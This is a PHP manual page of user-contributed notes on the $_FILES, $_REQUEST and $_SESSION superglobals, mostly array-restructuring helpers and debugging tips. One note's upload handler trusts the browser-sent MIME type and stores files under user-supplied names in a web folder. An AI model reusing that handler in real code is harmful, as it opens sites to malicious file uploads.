emre 14-Mar-2021 09:21
this is frustrating that the explanations redirected by anchors are providing unsufficient information or even worst is provide nothing. instead, looking for people to make the resources locale, you MUST provide approprate documentation for everybody.
ymlmau at gmail dot com 23-Feb-2021 05:17
Best way to check if $_FILES is empty or not is to check if the name of the index 0 is set.

<?php
if ($_FILES['fieldname']['name'][0] != ""){
 //Code goes here!
}
?>
dariusakafest at gmail dot com 27-Nov-2019 12:30
Good normalized the $_FILES array so

function getRequestFiles()
 {
        $result = array();

        if (is_array($_FILES)) {
            foreach($_FILES as $name => $fileArray) {
                $row = array();
                foreach ($fileArray as $key => &$data) {
                    findNoArrayElementAndReplace($data, $key);
                    $row = array_merge_recursive($row, $data);
                }
                $result[$name] = $row;
            }
        }

        return $result;
}

function findNoArrayElementAndReplace(&$array, $key)
 {
        if (is_array($array)) {
            foreach ($array as &$item) {
                findNoArrayElementAndReplace($item, $key);
            }
        } else {
            $array = array(
                $key => $array
            );
        }
}
poppy gloria 09-Jun-2019 05:11
For uploading only one file,  my version, that checks if the file is uploaded.

function processForm($messages) {
        if ($_FILES['file']["error"] == UPLOAD_ERR_OK ) {
    if($_FILES['file']['type'] != "text/csv" && $_FILES['file']['type'] != "application/vnd.ms-excel") {
                $messages->add_error('Wrong format.');
                return false;
    }
elseif ( !move_uploaded_file( $_FILES['file']["tmp_name"], "files/" .
basename( $_FILES['file']["name"] ) ) ) {
                $messages->add_error('Upload failed');
                return false;
                }
        }
       else {
    $messages->add_error("Something went wrong.");
    return false;
       }
    return true;
}

if (isset($_POST['btnUpload'])) {
    if(is_uploaded_file($_FILES['file']['tmp_name'])) {
         if (processForm($messages)) {
                $fileName = "files/" . basename($_FILES['file']['name']);
                parseAndInsert($fileName, $db);
                $messages->add_message("Success");
            }
            }
    else {
        $messages->add_error('File did not upload');
    }
}

function parseAndInsert($fileName, $db) {
        $file = fopen($fileName, "r");
        while($line = fgetcsv($file, 1000, ";")) {
            $db->addGrade(intval($line[0]), intval($line[1]), intval($line[2]));
        }
    fclose($file);
    }
tuomas dot piispanen at gmail dot com 07-Sep-2017 10:36
Here's a function that I have used to get a nice simple array of all incoming files from a page. It basically just flattens the $FILES array. This function works on many file inputs on the page and also if the inputs are '<input type="file[]" multiple>'. Note that this function loses the file input names (I usually process the files just by type).

<?php

function incoming_files() {
    $files = $_FILES;
    $files2 = [];
    foreach ($files as $input => $infoArr) {
        $filesByInput = [];
        foreach ($infoArr as $key => $valueArr) {
            if (is_array($valueArr)) { // file input "multiple"
                foreach($valueArr as $i=>$value) {
                    $filesByInput[$i][$key] = $value;
                }
            }
            else { // -> string, normal file input
                $filesByInput[] = $infoArr;
                break;
            }
        }
        $files2 = array_merge($files2,$filesByInput);
    }
    $files3 = [];
    foreach($files2 as $file) { // let's filter empty & errors
        if (!$file['error']) $files3[] = $file;
    }
    return $files3;
}

$tmpFiles = incoming_files();

?>

will transform this:

Array
(
    [files1] => Array
        (
            [name] => facepalm.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/php3zU3t5
            [error] => 0
            [size] => 31059
        )

    [files2] => Array
        (
            [name] => Array
                (
                    [0] => facepalm2.jpg
                    [1] => facepalm3.jpg
                )

            [type] => Array
                (
                    [0] => image/jpeg
                    [1] => image/jpeg
                )

            [tmp_name] => Array
                (
                    [0] => /tmp/phpJutmOS
                    [1] => /tmp/php9bNI8F
                )

            [error] => Array
                (
                    [0] => 0
                    [1] => 0
                )

            [size] => Array
                (
                    [0] => 78085
                    [1] => 61429
                )

        )

)

into this:

Array
(
    [0] => Array
        (
            [name] => facepalm.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/php3zU3t5
            [error] => 0
            [size] => 31059
        )

    [1] => Array
        (
            [name] => facepalm2.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/phpJutmOS
            [error] => 0
            [size] => 78085
        )

    [2] => Array
        (
            [name] => facepalm3.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/php9bNI8F
            [error] => 0
            [size] => 61429
        )

)
mike dot reiche at tyclipso dot net 09-Aug-2017 12:43
I normalized the $_FILES array to

[doc] => Array
        (
            [0] => Array
                (
                    [name] => testfile.txt
                    [type] => application/octet-stream
                    [tmp_name] => /tmp/php6wHXmC
                    [error] => 0
                    [size] => 4
                )

            [affe] => Array
                (
                    [name] => testfile.txt
                    [type] => application/octet-stream
                    [tmp_name] => /tmp/phpfiHK2e
                    [error] => 0
                    [size] => 4
                )

        )

<?php
function getFiles() {
    $result = array();
    foreach($_FILES as $name => $fileArray) {
        if (is_array($fileArray['name'])) {
            foreach ($fileArray as $attrib => $list) {
                foreach ($list as $index => $value) {
                    $result[$name][$index][$attrib]=$value;
                }
            }
        } else {
            $result[$name][] = $fileArray;
        }
    }
    return $result;
}
?>

So yo have always the same structure, even if you post one ore more files:

<?php
//single file
$request->addFileFromLocalFilePath('doc','testfile.txt');

// multiple files
$request->addFileFromLocalFilePath('doc[0]','testfile.txt');
$request->addFileFromLocalFilePath('doc[affe]','testfile.txt');

foreach ($request->getFiles() as $fieldName => $files) {
    foreach ($files as $index => $fileArray) {
        echo $fileArray['tmp_name'];
    }
}

?>
Jack Sleight 10-Nov-2015 12:05
I've written this function to restructure deeply nested $_FILES arrays, so that the parameters for each file are grouped together.

function restructure_files(array $input)
{
    $output = [];
    foreach ($input as $name => $array) {
        foreach ($array as $field => $value) {
            $pointer = &$output[$name];
            if (!is_array($value)) {
                $pointer[$field] = $value;
                continue;
            }
            $stack = [&$pointer];
            $iterator = new \RecursiveIteratorIterator(
                new \RecursiveArrayIterator($value),
                \RecursiveIteratorIterator::SELF_FIRST
            );
            foreach ($iterator as $key => $value) {
                array_splice($stack, $iterator->getDepth() + 1);
                $pointer = &$stack[count($stack) - 1];
                $pointer = &$pointer[$key];
                $stack[] = &$pointer;
                if (!$iterator->hasChildren()) {
                    $pointer[$field] = $value;
                }
            }
        }
    }
    return $output;
}

Turns this:

array (size=2)
  'one' =>
    array (size=5)
      'name' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => string 'DM4C2738.jpg' (length=12)
              5 => string 'DM4C2760.jpg' (length=12)
      'type' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => string 'image/jpeg' (length=10)
              5 => string 'image/jpeg' (length=10)
      'tmp_name' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => string '/private/var/tmp/phploOZRb' (length=26)
              5 => string '/private/var/tmp/phpsFkmIh' (length=26)
      'error' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => int 0
              5 => int 0
      'size' =>
        array (size=1)
          'inner' =>
            array (size=2)
              11 => int 1031601
              5 => int 674697
  'two' =>
    array (size=5)
      'name' => string '9ncYySC.jpg' (length=11)
      'type' => string 'image/jpeg' (length=10)
      'tmp_name' => string '/private/var/tmp/phpuG99X9' (length=26)
      'error' => int 0
      'size' => int 882422

Into this:

array (size=2)
  'one' =>
    array (size=1)
      'inner' =>
        array (size=2)
          11 =>
            array (size=5)
              'name' => string 'DM4C2738.jpg' (length=12)
              'type' => string 'image/jpeg' (length=10)
              'tmp_name' => string '/private/var/tmp/phploOZRb' (length=26)
              'error' => int 0
              'size' => int 1031601
          5 =>
            array (size=5)
              'name' => string 'DM4C2760.jpg' (length=12)
              'type' => string 'image/jpeg' (length=10)
              'tmp_name' => string '/private/var/tmp/phpsFkmIh' (length=26)
              'error' => int 0
              'size' => int 674697
  'two' =>
    array (size=5)
      'name' => string '9ncYySC.jpg' (length=11)
      'type' => string 'image/jpeg' (length=10)
      'tmp_name' => string '/private/var/tmp/phpuG99X9' (length=26)
      'error' => int 0
      'size' => int 882422
kennyp33 at gmail dot com 14-Jul-2015 12:46
If you are getting NULL values and want to see what error is being returned you can add ' 2>&1' to the end of your command. On a linux server this will redirect the stderr to stdout (so the string error will be output). This probably saved me a ton of time.
scohen987 at gmail dot com 14-Nov-2014 09:49
see http://php.net/manual/en/features.file-upload.post-method.php for documentation of the $_FILES array, which is what I came to this page for in the first place.
Jmanuel_castillo_exe at yahoo dot com 06-Jun-2014 04:18
I spent 3 hours trying to find out why when I upload multiples file $_FILES  return empty, I did noticed it was only when I select files that exceed 3m so I thought it was something related to the MAX_UPLOAD_SIZE that for my surprice came as default as 20m which was very confusing. Later I discovery the problem was in the POST_MAX_SIZE been 3m, so it happen that not only MAX_UPLOAD_SIZE is responsible and that is why I'd like to know there is no error message that shows the cause.
brian at diamondsea dot com 16-Mar-2014 06:11
If you are looking for the $_FILES['error'] code explanations, be sure to read:

Handling File Uploads - Error Messages Explained
http://www.php.net/manual/en/features.file-upload.errors.php
delete dot this dot and dot dots dot gt at kani dot hu 10-Mar-2014 04:29
Here is my version of $_FILES rearrange. Unlike other codes here, this working well on any depth of $_FILES.
<?php
if (!empty($_FILES)) {
    function rearrange_files_array(array $array) {
        foreach ($array as &$value) {
            $_array = array();
            foreach ($value as $prop => $propval) {
                if (is_array($propval)) {
                    array_walk_recursive($propval, function(&$item, $key, $value) use($prop) {
                        $item = array($prop => $item);
                    }, $value);
                    $_array = array_replace_recursive($_array, $propval);
                } else {
                    $_array[$prop] = $propval;
                }
            }
            $value = $_array;
        }
        return $array;
    }
    echo '<pre>'.print_r(rearrange_files_array($_FILES), true).'</pre>';
}
?>
<form method="post" enctype="multipart/form-data" style="clear: both;">
    <h3>upload1</h3>
    <div><label>new0</label><input type="file" name="upload1[new][]" /></div>
    <div><label>new1</label><input type="file" name="upload1[new][]" /></div>
    <div><label>update.id11</label><input type="file" name="upload1[update][id11]" /></div>
    <div><label>update.id12</label><input type="file" name="upload1[update][id12]" /></div>
    <hr />
    <h3>upload2</h3>
    <div><label>new0</label><input type="file" name="upload2[]" /></div>
    <div><label>new1</label><input type="file" name="upload2[]" /></div>
    <div><label>update.id21</label><input type="file" name="upload2[id21]" /></div>
    <div><label>update.id22</label><input type="file" name="upload2[id22]" /></div>
    <hr />
    <div><label>upload3</label><input type="file" name="upload3" /></div>
    <input type="submit" value="go" />
</form>

The output after empty form is posted:
Array
(
    [upload1] => Array
        (
            [new] => Array
                (
                    [0] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                    [1] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                )
            [update] => Array
                (
                    [id11] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                    [id12] => Array
                        (
                            [name] =>
                            [type] =>
                            [tmp_name] =>
                            [error] => 4
                            [size] => 0
                        )
                )
        )
    [upload2] => Array
        (
            [0] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
            [1] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
            [id21] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
            [id22] => Array
                (
                    [name] =>
                    [type] =>
                    [tmp_name] =>
                    [error] => 4
                    [size] => 0
                )
        )
    [upload3] => Array
        (
            [name] =>
            [type] =>
            [tmp_name] =>
            [error] => 4
            [size] => 0
        )
)
badandyomega at gmail dot com 10-Jan-2014 01:27
Others have posted about how the $_FILES array organizes data differently depending on whether the HTML input is a single or multiple type, so it seems to be a common enough problem.  If for some reason you need to mix-and-match the types, or you're not sure which how many files you'll be expecting from a multiple input, this is a very useful way to reorganize the $_FILES array.  Also, unlike some of the earlier posts, the formatting of the new array (i.e. the number of keys and values) is consistent.

<?php
// Reorganize $_FILES array information
$files = Array ();
$i = 0;

// Start with all inputs in $_FILES array
foreach ($_FILES as $input)
{
    $j = 0;

    foreach ($input as $property => $value)
    {
        if (is_array($value))
        {
            $j = count($value); // Number of iterations

            for ($k = 0; $k < $j; ++$k)
            {
                $files[$i + $k][$property] = $value[$k];
            }
        }
        else
        {
            $j = 1;

            $files[$i][$property] = $value;
        }
    }

    $i += $j;
}
?>

The results will look something like this:
$files = Array (
   [0] => Array (
      [name] => ''
      [type] => ''
      [tmp_name] => ''
      [error] => 0
      [size] => 0
   )
)
phazei at gmail dot com 09-Oct-2013 12:51
I realize there are a number of posts here for reformating the php $_FILES array, but they don't handle all cases.  This handles the single case, the multiple file case, and even submitting multiple file arrays.  This way no matter what, before ever touching the files array I call this regardless of what it might be:

<?php
    /**
     * This is to fix the odd files array PHP creates when a file input has a name that's php array:
     * eg: <file name="model[column]" value='file1'> <file name="model[column2][]" value='file2'>
     * becomes:  $_FILES['model']['name'][column] = file1_name.xxx
     *           $_FILES['model']['name'][column2][0] = file2_name.xxx
     *
     * this changes it to:
     *           $files['model'][column]['name'] = file1_name.xxx
     *           $files['model'][column2][0]['name'] = file2_name.xxx
     *
     * This way the file data is grouped together as expected and as it does with a non-array type name attribute
     */
    static public function multi_file_fix($files = null)
    {

        if ($files == null) {
            $files = (is_array($_FILES)) ? $_FILES : array();
        }

        //make there there is a file, and see if the first item is also an array
        $new_files = array();
        foreach ($files as $name => $attributes) {
            if (is_array(reset($attributes))) { //check first item
                foreach ($attributes as $attribute => $item) { //array file submit, eg name="model[file]"
                    foreach ($item as $key => $value) {
                        if (is_array($value)) {
                            foreach ($value as $key2 => $sub_val) { // multi-array file submit, eg name="model[file][]"
                                $new_files[$name][$key][$key2][$attribute] = $sub_val;
                            }
                        } else {
                            $new_files[$name][$key][$attribute] = $value;
                        }
                    }
                }
            } else { // regular file submit, eg name="file"
                $new_files[$name] = $attributes;
            }
        }

        return $new_files;
    }

//Usage:

$files = multi_file_fix($_FILES);

?>
sergio_ag at terra dot com dot br 05-Sep-2012 08:09
A nice trick to reorder the $_FILES array when you use a input name as array is:

<?php
function diverse_array($vector) {
    $result = array();
    foreach($vector as $key1 => $value1)
        foreach($value1 as $key2 => $value2)
            $result[$key2][$key1] = $value2;
    return $result;
}
?>

will transform this:

array(1) {
    ["upload"]=>array(2) {
        ["name"]=>array(2) {
            [0]=>string(9)"file0.txt"
            [1]=>string(9)"file1.txt"
        }
        ["type"]=>array(2) {
            [0]=>string(10)"text/plain"
            [1]=>string(10)"text/html"
        }
    }
}

into:

array(1) {
    ["upload"]=>array(2) {
        [0]=>array(2) {
            ["name"]=>string(9)"file0.txt"
            ["type"]=>string(10)"text/plain"
        },
        [1]=>array(2) {
            ["name"]=>string(9)"file1.txt"
            ["type"]=>string(10)"text/html"
        }
    }
}

just do:

<?php $upload = diverse_array($_FILES["upload"]); ?>
sparticvs at popebp dot com 01-Sep-2012 08:59
A note of security: Don't ever trust $_FILES["image"]["type"]. It takes whatever is sent from the browser, so don't trust this for the image type.  I recommend using finfo_open (http://www.php.net/manual/en/function.finfo-open.php) to verify the MIME type of a file. It will parse the MAGIC in the file and return it's type...this can be trusted (you can also use the "file" program on Unix, but I would refrain from ever making a System call with your PHP code...that's just asking for problems).
tjbp 04-Aug-2012 09:46
For quick debugging (eg. var_dump($_FILES);), these are the values of the error constants. Obviously don't use these for comparison in real code.

UPLOAD_ERR_OK: 0
UPLOAD_ERR_INI_SIZE: 1
UPLOAD_ERR_FORM_SIZE: 2
UPLOAD_ERR_NO_TMP_DIR: 6
UPLOAD_ERR_CANT_WRITE: 7
UPLOAD_ERR_EXTENSION: 8
UPLOAD_ERR_PARTIAL: 3
seifert at alesak dot net 02-Jul-2012 02:02
I just spent long time debugging strange behavior of one of our application on new webhosting. We have 30 file inputs on one page for upload to server. Problem was that only 20 was actually uploaded.

Now I found there is an option max_file_uploads in php.ini limiting maximum size of $_FILES to 20 by default.

When you have suhosin extension installed it has own option limiting same thing to 25 (suhosin.upload.max_uploads in php.ini)
Alexandre Teles 20-May-2012 04:31
You can check error index this way:

<?php

$errorIndex = $_FILES["file"]["error"];

if ($errorIndex > 0) {
    die('We have a error. Try Again.');
}

processFile();

?>
yuriy dot nayda at gmail dot com 15-Mar-2012 04:49
THis is an solution to convert Cyrillic and umlaut characters as file name when uplaoding files into needed encoding. Was searching for it but could not find. Thus posting this. Just like this:

$value = mb_convert_encoding($value, "UTF-8");
BigShark666 at gmail dot com 21-Nov-2011 10:51
Nontypicall array comes in php after the submission.I wrote a small function to restate it to the familiar look.
<?php
function multiple(array $_files, $top = TRUE)
{
    $files = array();
    foreach($_files as $name=>$file){
        if($top) $sub_name = $file['name'];
        else    $sub_name = $name;

        if(is_array($sub_name)){
            foreach(array_keys($sub_name) as $key){
                $files[$name][$key] = array(
                    'name'     => $file['name'][$key],
                    'type'     => $file['type'][$key],
                    'tmp_name' => $file['tmp_name'][$key],
                    'error'    => $file['error'][$key],
                    'size'     => $file['size'][$key],
                );
                $files[$name] = multiple($files[$name], FALSE);
            }
        }else{
            $files[$name] = $file;
        }
    }
    return $files;
}

print_r($_FILES);
/*
Array
(
    [image] => Array
        (
            [name] => Array
                (
                    [0] => 400.png
                )
            [type] => Array
                (
                    [0] => image/png
                )
            [tmp_name] => Array
                (
                    [0] => /tmp/php5Wx0aJ
                )
            [error] => Array
                (
                    [0] => 0
                )
            [size] => Array
                (
                    [0] => 15726
                )
        )
)
*/
$files = multiple($_FILES);
print_r($files);
/*
Array
(
    [image] => Array
        (
            [0] => Array
                (
                    [name] => 400.png
                    [type] => image/png
                    [tmp_name] => /tmp/php5Wx0aJ
                    [error] => 0
                    [size] => 15726
                )
        )
)
*/
?>
kbolyshev at gmail dot com 18-Nov-2011 04:39
For situation download[file1], download[file2], ..., download[fileN], try it:

<?php

/**
 *
 * @param array     $arrayForFill
 * @param string    $currentKey
 * @param mixed     $currentMixedValue
 * @param string    $fileDescriptionParam (name, type, tmp_name, error или size)
 * @return void
 */
function rRestructuringFilesArray(&$arrayForFill, $currentKey, $currentMixedValue, $fileDescriptionParam)
{
    if (is_array($currentMixedValue)) {
        foreach ($currentMixedValue as $nameKey => $mixedValue) {
            rRestructuringFilesArray($arrayForFill[$currentKey],
                                     $nameKey,
                                     $mixedValue,
                                     $fileDescriptionParam);
        }
    } else {
        $arrayForFill[$currentKey][$fileDescriptionParam] = $currentMixedValue;
    }
}

$arrayForFill = array();
foreach ($_FILES as $firstNameKey => $arFileDescriptions) {
    foreach ($arFileDescriptions as $fileDescriptionParam => $mixedValue) {
        rRestructuringFilesArray($arrayForFill,
                                 $firstNameKey,
                                 $_FILES[$firstNameKey][$fileDescriptionParam],
                                 $fileDescriptionParam);
    }
}
$_FILES = $arrayForFill;
?>
unca dot alby at gmail dot com 02-Sep-2011 01:31
In checking the error code, you probably ought to check for code 4.  I believe Code 4 means no file was uploaded, and there are many instances where that's perfectly OK.

Such as when you have a form with multiple data items, including file and image uploads, plus whatever else.  The user might not be adding a new upload for whatever reason, such as there may already be a file in the system from an earlier update, and the user is satisfied with that.
Sbastien 13-Jun-2011 07:36
If you're uploading multiple files and you name your file inputs "upload[]" the $_FILES array will look different than the var_dump posted below. I figured I'd post what it looks like since it caused me (and still causes me) headaches!

array(1) {
    ["upload"]=>array(5) {
        ["name"]=>array(3) {
            [0]=>string(9)"file0.txt"
            [1]=>string(9)"file1.txt"
            [2]=>string(9)"file2.txt"
        }
        ["type"]=>array(3) {
            [0]=>string(10)"text/plain"
            [1]=>string(10)"text/plain"
            [2]=>string(10)"text/plain"
        }
        ["tmp_name"]=>array(3) {
            [0]=>string(14)"/tmp/blablabla"
            [1]=>string(14)"/tmp/phpyzZxta"
            [2]=>string(14)"/tmp/phpn3nopO"
        }
        ["error"]=>array(3) {
            [0]=>int(0)
            [1]=>int(0)
            [2]=>int(0)
        }
        ["size"]=>array(3) {
            [0]=>int(0)
            [1]=>int(0)
            [2]=>int(0)
        }
    }
}

(I thought the array would have looked like upload[index][name] which is not the case.)
Anonymous 26-Apr-2011 02:48
Having url rewrite patterns in .htaccess file which modify your urls can affect $_FILES sometimes. Even though the php page loads and works fine, this variable may not work because of it. Therefore if you rewrite 'www.example.com' to 'example.com', make sure you use the latter one when sending POST to the php page. I'm still not sure why this happens, but its worth noting here so others don't spend time chasing ghosts.
Anonymous 18-Apr-2011 06:23
As mentioned , you should check the error index of the upload.

Example below suggests you have a file field named 'image'.

<?php

        if($_FILES['image']['error'] == 0){
            // success - move uploaded file and process stuff here

        }else{
            // 'there was an error uploading file' stuff here....
        }
?>
John 03-Feb-2011 06:14
In the past you could unconditionally call $_FILES['profile_pic'] without ever having to worry about PHP spitting an "Undefined index: profile_pic" error (so long as the page posting had a file input on it (e.g. <input type="file" name="profile_pic" />)). This was the case regardless of whether or not the end user actually uploaded a file. These days, with so many people browsing the web via iPads, you have to explicitly check to see if the input isset($_FILES['profile_pic']) before calling into it, else you'll get the aforementioned error message. This is because iOS devices running Safari disable file inputs thereby causing them to be treated as if they don't exist. Time to update your scripts!

-john
mwgamera at gmail dot com 13-Aug-2009 05:40
To determine whether upload was successful you should check for error being UPLOAD_ERR_OK instead of checking the file size. When nothing is chosen to be uploaded, the key in $_FILES will still be there, but it should have error equal UPLOAD_ERR_NO_FILE.
calurion at gmail dot com 29-Jun-2009 04:51
For some reason when I tried to check if $_FILES['myVarName'] was empty() or !isset() or array_key_exists(), it always came back that the file was indeed in the superglobal, even when nothing was uploaded.

I wonder if this is a result of enctype="multipart/form-data".

Anyways, I solved my issue by checking to make sure that $_FILES['myVarName']['size'] > 0
dewi at dewimorgan dot com 18-Mar-2009 10:35
The format of this array is (assuming your form has two input type=file fields named "file1", "file2", etc):

Array
(
    [file1] => Array
        (
            [name] => MyFile.txt (comes from the browser, so treat as tainted)
            [type] => text/plain  (not sure where it gets this from - assume the browser, so treat as tainted)
            [tmp_name] => /tmp/php/php1h4j1o (could be anywhere on your system, depending on your config settings, but the user has no control, so this isn't tainted)
            [error] => UPLOAD_ERR_OK  (= 0)
            [size] => 123   (the size in bytes)
        )

    [file2] => Array
        (
            [name] => MyFile.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/php/php6hst32
            [error] => UPLOAD_ERR_OK
            [size] => 98174
        )
)

Last I checked (a while ago now admittedly), if you use array parameters in your forms (that is, form names ending in square brackets, like several file fields called "download[file1]", "download[file2]" etc), then the array format becomes... interesting.

Array
(
    [download] => Array
        (
            [name] => Array
                (
                    [file1] => MyFile.txt
                    [file2] => MyFile.jpg
                )

            [type] => Array
                (
                    [file1] => text/plain
                    [file2] => image/jpeg
                )

            [tmp_name] => Array
                (
                    [file1] => /tmp/php/php1h4j1o
                    [file2] => /tmp/php/php6hst32
                )

            [error] => Array
                (
                    [file1] => UPLOAD_ERR_OK
                    [file2] => UPLOAD_ERR_OK
                )

            [size] => Array
                (
                    [file1] => 123
                    [file2] => 98174
                )
        )
)

So you'd need to access the error param of file1 as, eg $_Files['download']['error']['file1']
andrewpunch at bigfoot dot com 17-Jan-2009 12:16
If $_FILES is empty, even when uploading, try adding enctype="multipart/form-data" to the form tag and make sure you have file uploads turned on.


HTTP リクエスト変数

  • ≪ $_FILES
  • $_SESSION ≫
  • PHP Manual
  • 定義済の変数
  • HTTP リクエスト変数

$_REQUEST

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_REQUEST — HTTP リクエスト変数

説明

$_GET、 $_POST そして $_COOKIE の内容をまとめた連想配列です。

注意

注意:

これは 'スーパーグローバル' あるいは自動グローバル変数と呼ばれるものです。 スクリプト全体を通してすべてのスコープで使用することができます。 関数やメソッドの内部で使用する場合にも global $variable; とする必要はありません。

注意:

コマンドライン で実行する場合、ここには argv や argc の内容は含まれません。これらの内容は $_SERVER 配列に格納されます。

注意:

$_REQUEST 内の変数の内容は、 GET や POST そして COOKIE といった仕組みでスクリプトに渡されます。 これらはリモートユーザーが変更可能なので、信頼できるとは限りません。 この配列内に含まれる変数の値や順序は、 PHP の設定ディレクティブ request_order や variables_order によって決まります。

参考

  • 外部からくる変数の処理
  • filter 拡張モジュール

User Contributed Notes

codeblog.pro 13-Oct-2020 12:43
In PHP version 7.0 with the default settings.+, $_REQUEST array does not contain cookies.
Filomena 02-Oct-2020 07:40
Warning:

The way $_REQUEST is populated by default can lead to strange bugs because of the unfortunate default setting of the configuration directive 'variables_order'.

Example: In an e-shop you want to display prices based on user preference. User can either switch the currency or the previous selection is used. By defaut, the following code WILL NOT WORK as expected:

<?php
if ($_REQUEST['currency']) # change currency on user request
{
    $currency = $_REQUEST['currency']; # use it
    setcookie('currency', $_REQUEST['currency'], 0, 'eshop.php'); # store it
}
else # use default currency
{
    $currency = 'USD';
}

# display shop contents with user selected currency
echo 'All prices are shown in ', $currency;

# let the user switch currency
echo '<a href="eshop.php?currency=USD">Switch to USD</a>';
echo '<a href="eshop.php?currency=EUR">Switch to EUR</a>';
?>

Regardless of the user choice, the cookie value is used, so unless you change the default 'request_order' or 'variables_order' the $_REQUEST[something] variable is stuck with the cookie value forever regardless of the user 'REQUEST'.

Fix 1:

<?php
ini_set('request_order', 'CGP'); # use previous value (stored in cookie) or new value upon user request
.
.
.
?>

Fix 2:
Be very careful and patient and go with $_GET, $_POST and $_COOKIE instead of the convenient $_REQUEST. Good luck.
Luke Madhanga 22-May-2016 08:45
To access $_POST, $_GET, etc, use the function filter_input(TYPE, varname, filter) to ensure that your data is clean.

Also, I was brought up to believe that modifying superglobals is a BAD idea. I stand by this belief and would recommend you do too
mike o. 11-Mar-2010 04:31
The default php.ini on your system as of in PHP 5.3.0 may exclude cookies from $_REQUEST.  The request_order ini directive specifies what goes in the $_REQUEST array; if that does not exist, then the variables_order directive does.  Your distribution's php.ini may exclude cookies by default, so beware.
John Galt 06-Dec-2009 05:36
I wrote a function because I found it inconvenient if I needed to change a particular parameter (get) while preserving the others. For example, I want to make a hyperlink on a web page with the URL http://www.example.com/script.php?id=1&blah=blah+blah&page=1 and change the value of "page" to 2 without getting rid of the other parameters.

<?php
 function add_or_change_parameter($parameter, $value)
 {
  $params = array();
  $output = "?";
  $firstRun = true;
  foreach($_GET as $key=>$val)
  {
   if($key != $parameter)
   {
    if(!$firstRun)
    {
     $output .= "&";
    }
    else
    {
     $firstRun = false;
    }
    $output .= $key."=".urlencode($val);
   }
  }
  if(!$firstRun)
   $output .= "&";
  $output .= $parameter."=".urlencode($value);
  return htmlentities($output);
 }
?>

Now, I can add a hyperlink to the page (http://www.example.com/script.php?id=1&blah=blah+blah&page=1) like this:
<a href="<?php echo add_or_change_parameter("page", "2"); ?>">Click to go to page 2</a>

The above code will output
<a href="?id=1&amp;blah=blah+blah&amp;page=2">Click to go to page 2</a>

Also, if I was setting "page" to a string rather than just "2", the value would be urlencode()'d.
<a href="<?php echo add_or_change_parameter("page", "banana+split!"); ?>">Click to go to page banana split!</a>
would become
<a href="?id=1&amp;blah=blah+blah&amp;page=banana+split%21">Click to go to page banana split!</a>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (theogony AT gmail DOT com), which adds missing `echo` instructions to the HREF tags.]
strata_ranger at hotmail dot com 17-Jul-2008 08:04
Don't forget, because $_REQUEST is a different variable than $_GET and $_POST, it is treated as such in PHP -- modifying $_GET or $_POST elements at runtime will not affect the ellements in $_REQUEST, nor vice versa.

e.g:

<?php

$_GET['foo'] = 'a';
$_POST['bar'] = 'b';
var_dump($_GET); // Element 'foo' is string(1) "a"
var_dump($_POST); // Element 'bar' is string(1) "b"
var_dump($_REQUEST); // Does not contain elements 'foo' or 'bar'

?>

If you want to evaluate $_GET and $_POST variables by a single token without including $_COOKIE in the mix, use  $_SERVER['REQUEST_METHOD'] to identify the method used and set up a switch block accordingly, e.g:

<?php

switch($_SERVER['REQUEST_METHOD'])
{
case 'GET': $the_request = &$_GET; break;
case 'POST': $the_request = &$_POST; break;
.
. // Etc.
.
default:
}
?>


セッション変数

  • ≪ $_REQUEST
  • $_ENV ≫
  • PHP Manual
  • 定義済の変数
  • セッション変数

$_SESSION

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_SESSION — セッション変数

説明

現在のスクリプトで使用できるセッション変数を含む連想配列です。 セッション変数の使用法についての詳細は、 セッション関数 のドキュメントを参照ください。

注意

注意:

これは 'スーパーグローバル' あるいは自動グローバル変数と呼ばれるものです。 スクリプト全体を通してすべてのスコープで使用することができます。 関数やメソッドの内部で使用する場合にも global $variable; とする必要はありません。

参考

  • session_start() - 新しいセッションを開始、あるいは既存のセッションを再開する

User Contributed Notes

ms at meilenstein dot ms 25-Jan-2019 11:56
I would be wary to use PHP Sessions for application-critical tasks. So far, I have had very troubling experiences with random loss of session data, as described in these bug reports:

https://bugs.php.net/bug.php?id=19022
https://bugs.php.net/bug.php?id=19029
https://bugs.php.net/bug.php?id=70584
dbagnara 22-Nov-2017 06:27
The key of values added to $_SESSION must not be numeric. An error message will be generated and the session will not be saved.

"Notice: Unknown: Skipping numeric key 1511374723 in Unknown on line 0"
ignasitort at gmail dot com 25-Apr-2017 08:07
I have a weird problem, when using $_SESSION  to store  a nonce. My nonces never match.
Maybe the PHP code is called twice (maybe is WP or maybe is the BROWSER) but Html is rendered with the first NONCE value, but as random nonce  are created twice, returning PHP function (called by Javascript AJAX ) checks for the second value. As far , as I can not solve
My solution is:  always check first if the NONCE exist before creating a new random value for the nonce. This way nonce cannot  change if PHP called twice.

<?PHP

 if (isset($_SESSION['nonce']) && !empty($_SESSION['nonce'])){
        error_log("NONCE_ NOT EMPTY");
        }
    else
        $_SESSION['nonce'] =  function_rand_str(32);

?>
buckmanhands at gmail dot com 20-Sep-2016 10:56
If you are using a session variable as a token to use as a handshake on next page load and the token updates on the new page load, but they mysteriously will not match and there is no obvious explanation. I had the following happen and maybe it will save you some time.

I was making a form that allowed an image upload and had an image tag ready to drop the src of the preview in after the file was chosen. But I had a preset src of "#"... this loaded the page a second time in the background and updated my token invisibly causing a broken handshake.

My tag looked like this:

<img src="#" id="myimagepreview" alt="image preview" />

